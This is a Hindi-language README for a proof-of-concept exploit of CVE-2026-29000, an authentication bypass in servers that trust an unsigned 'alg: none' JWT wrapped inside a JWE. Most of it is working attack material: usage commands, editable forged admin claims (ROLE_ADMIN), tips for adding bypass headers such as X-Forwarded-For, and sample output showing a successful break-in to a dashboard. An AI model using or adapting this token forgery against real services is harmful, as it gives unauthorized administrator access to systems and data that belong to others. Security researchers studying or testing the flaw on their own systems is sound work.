
CVE-2026-29000 का PoC
यह एक Proof-of-Concept (PoC) स्क्रिप्ट है जो JSON Web Tokens (JWT) और JSON Web Encryption (JWE) का उपयोग करके एक प्रमाणीकरण बायपास कमजोरी को प्रदर्शित करती है। यह टूल उन वातावरणों का शोषण करता है जो टोकन एल्गोरिदम का अनुचित रूप से सत्यापन करते हैं, बिना सत्यापित किए गए JWTs (alg: none) को एक मान्य JWE संरचना के अंदर स्वीकार करके।
यह शोषण श्रृंखला एक सामान्य क्रिप्टोग्राफिक कार्यान्वयन दोष का लाभ उठाती है:
jwks (JSON Web Key Set) एंडपॉइंट तक पहुँचती है और सर्वर की सार्वजनिक RSA कुंजी डाउनलोड करती है।ROLE_ADMIN विशेषाधिकार प्रदान करने वाला एक नकली, अप्रमाणित JWT पेलोड तैयार करता है। यह जानबूझकर एल्गोरिदम हेडर को "alg": "none" पर सेट करता है।Authorization: Bearer हेडर के माध्यम से लक्ष्य के संरक्षित डैशबोर्ड पर भेजा जाता है। यदि सर्वर JWE को डिक्रिप्ट करता है और उसके हस्ताक्षर को सत्यापित किए बिना आंतरिक JWT पर आँख बंद करके भरोसा करता है, तो पहुंच प्रदान की जाती है।स्क्रिप्ट चलाने से पहले, सुनिश्चित करें कि आपके पास Python 3 स्थापित है और आवश्यक निर्भरताएँ भी मौजूद हैं।
pip install requests jwcrypto
स्क्रिप्ट को दो तर्कों की आवश्यकता होती है: वह लक्षित डैशबोर्ड URL जिसे आप परीक्षण करना चाहते हैं, और वह URL जहाँ सार्वजनिक कुंजियाँ होस्ट की जाती हैं।
python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>
आपके लक्ष्य के आधार पर, आपको विशिष्ट फ़िल्टर को बायपास करने के लिए टोकन संरचना या HTTP अनुरोधों में बदलाव करने की आवश्यकता हो सकती है।
यदि लक्ष्य सर्वर JWT के अंदर विशिष्ट फ़ील्ड की अपेक्षा करता है (जैसे typ हेडर, या पेलोड में कस्टम उपयोगकर्ता आईडी), तो आप उन्हें आसानी से जोड़ सकते हैं।
exploit.py खोलें और इस अनुभाग का पता लगाएं:
token_header_information = {
"alg": "none"
}
token_user_information = {
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
आप अपनी इच्छानुसार कोई भी फ़ील्ड अल्पविराम से अलग करके जोड़ सकते हैं। उदाहरण के लिए, JWT हेडर में typ (टाइप) और kid (कुंजी आईडी) जोड़ने के लिए, और पेलोड में एक कस्टम ईमेल जोड़ने के लिए:
token_header_information = {
"alg": "none",
"typ": "JWT",
"kid": "my-custom-key-id"
}
token_user_information = {
"sub": "admin",
"email": "[email protected]",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
यदि आपके लक्ष्य को विशिष्ट नेटवर्क हेडर की आवश्यकता है (जैसे कस्टम User-Agent, X-Forwarded-For जैसे बायपास हेडर, या API कुंजियाँ), तो स्क्रिप्ट के निचले भाग में नेटवर्क अनुरोध का पता लगाएं:
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token
}
अपने अतिरिक्त नेटवर्क हेडर इस प्रकार जोड़ें:
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"X-Forwarded-For": "127.0.0.1",
"Accept": "application/json"
}
नोट: यदि आपको ये हेडर प्रारंभिक सार्वजनिक कुंजी डाउनलोड के दौरान भी भेजने की आवश्यकता है, तो आप इसी डिक्शनरी को स्क्रिप्ट के शीर्ष पर requests.get() कॉल में पास कर सकते हैं।
सफल होने पर, स्क्रिप्ट जाली टोकन और प्रतिबंधित एंडपॉइंट से प्राप्त पार्स की गई प्रतिक्रिया को आउटपुट करेगी, जो बायपास को सिद्ध करती है:
Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!
Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...
Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard
SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN